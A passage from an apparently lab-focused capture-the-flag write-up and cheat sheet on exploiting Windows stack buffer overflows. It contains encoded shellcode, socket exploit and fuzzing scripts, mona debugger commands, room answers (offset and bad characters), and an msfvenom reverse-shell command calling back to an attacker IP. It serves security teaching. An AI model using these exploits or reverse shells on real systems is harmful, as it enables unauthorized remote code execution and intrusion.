"\x52\xc3\xcd\xd6\xde\xb7\x81\x80\x88\x61\x64\x7b\x7b\xdb"
"\x3e\xd0\xd5\x8b\xc7\x1a\xe6\xcd\xc7\x76\x90\x31\x79\x2f"
"\xe5\x4e\xb6\xa7\xe1\x37\xaa\x57\x0d\xe2\x6e\x77\xec\x26"
"\x9b\x10\xa9\xa3\x26\x7d\x4a\x1e\x64\x78\xc9\xaa\x15\x7f"
"\xd1\xdf\x10\x3b\x55\x0c\x69\x54\x30\x32\xde\x55\x11\x32"
"\xe0\xa9\x9a")
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
![And it works](https://hailstormsec.com/content/images/2024/02/shell.png)
Questions(s)
- What is the EIP offset for OVERFLOW2?
- In byte order (e.g. \x00\x01\x02) and including the null byte \x00, what were the badchars for OVERFLOW2?
Answers(s)
- 634
\x00\x23\x3c\x83\xba
OVERFLOW3-10
The only thing that changes from OVERFLOW2 - OVERFLOW10 is the offset and bad characters - but the procedure to find these stays the same. Therefore I will stop the writeup here to avoid repeating myself.
Cheat Sheet
You can also find all of the following under the notes category.
Immunity Debugger
Open an application:
- File -> Open
- Run the application -> File -> Attach
Mona
Mona is a powerful plugin for Immunity Debugger to exploit buffer overflows.
- Download: https://github.com/corelan/mona
- Copy the mona.py file into the PyCommands directory of Immunity Debugger (usually located at
C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
).
In Immunity Debugger, type the following to set a working directory for mona.
!mona config -set workingfolder c:\mona\%p
Finding the offset:
!mona findmsp -distance LENGTH-OF-PATTERN
Pattern length being from pattern_create.
Generate bytearray:
!mona bytearray -b "\x00"
- -b: Exclude bytes
Compare bytearrays:
!mona compare -f C:\mona\programname\bytearray.bin -a ESP-ADDRESS
Find jump points:
!mona jmp -r esp -cpb "\x00"
- -cpb: Bad characters
Fuzzing
Figure out the offset by slowly incrementing the buffer size and inspect where the program crash.
#!/usr/bin/env python3
import socket, time, sys
ip = "10.10.29.202"
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Finding the offset using pattern_create
- copy into path:
sudo cp "$(locate pattern_create.rb)" /usr/local/bin
- use
pattern_create
to generate a pattern. - run program with said input.
- use gdb (or other debug tool) to find offset address.
pattern_create.rb -l 200
- -l: length
If you fuzzed
To make sure you get inside of the offset range, generally add 400 to the length of pattern_create
.
Payload
import socket
ip = "10.10.29.202"
port = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=10.8.11.118 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f c
- -p: Payload
- -b: Bad characters
- -f: Filetype,
c
gives us hexcode
Support me
Thank you so much for reading and I hope you found it inspirational or helpful! You can best support me by doing any of the following bellow!
- Turn off Adblocker: A simple yet impactful way to support me for free.
- Sign Up: If you haven't already, consider signing up to get access to more content and receive optional newsletters.
- Buy Premium: Explore the Premium option for additional perks and exclusive content.
- Give a Tip: Your generosity is always very appreciated.
You can read more about the perks of being a Member or Subscriber here.
Additionally, you can stay updated and engage with me on social media:
Contact me here: [email protected]